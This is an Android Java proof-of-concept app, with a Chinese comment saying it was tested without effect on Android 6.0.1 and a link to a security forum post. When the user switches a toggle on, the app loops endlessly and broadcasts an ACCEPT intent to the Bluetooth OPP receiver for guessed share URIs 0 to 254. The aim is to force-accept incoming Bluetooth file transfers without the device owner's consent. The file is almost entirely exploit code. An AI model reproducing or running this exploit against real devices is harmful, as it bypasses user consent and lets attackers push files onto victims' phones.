public class MainActivity extends AppCompatActivity {
ToggleButton toggleButton;
Context ctx = this;
public static final String ACTION_ACCEPT = "android.btopp.intent.action.ACCEPT";
public static final String BLUETOOTH_SHARE_URI = "content://com.android.bluetooth.opp/btopp/";
boolean Flag = false;
// 此POC 在 android 6.0.1 上测试没有效果
// https://xianzhi.aliyun.com/forum/read/1570.html
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
final Runnable mRunnable = new Runnable() {
@Override
public void run() {
try {
while (Flag) {
Intent intent = new Intent();
intent.setComponent(new ComponentName("com.android.bluetooth",
"com.android.bluetooth.opp.BluetoothOppReceiver"));
intent.setAction(ACTION_ACCEPT);
// Guess the incoming bluetooth share uri, normally it increases from 1 by 1 and could be guessed easily.
// Then Send broadcast to change the incoming file status
for (int i = 0 ; i < 255; i++) {
String uriString = BLUETOOTH_SHARE_URI + Integer.toString(i);
intent.setData(Uri.parse(uriString));
sendBroadcast(intent);
}
}
}catch (Exception e) {
e.printStackTrace();
}
}
};
toggleButton = (ToggleButton)findViewById(R.id.toggleButton);
toggleButton.setOnClickListener( new View.OnClickListener() {
@Override
public void onClick(View view) {
Thread thread = new Thread(mRunnable);
// turn on
if (toggleButton.isChecked()) {
Toast.makeText(ctx, "checked", Toast.LENGTH_SHORT).show();
Flag = true;
thread.start();
} else { //turn off
Toast.makeText(ctx, "not checked", Toast.LENGTH_SHORT).show();
Flag = false;
}
}
});
}
}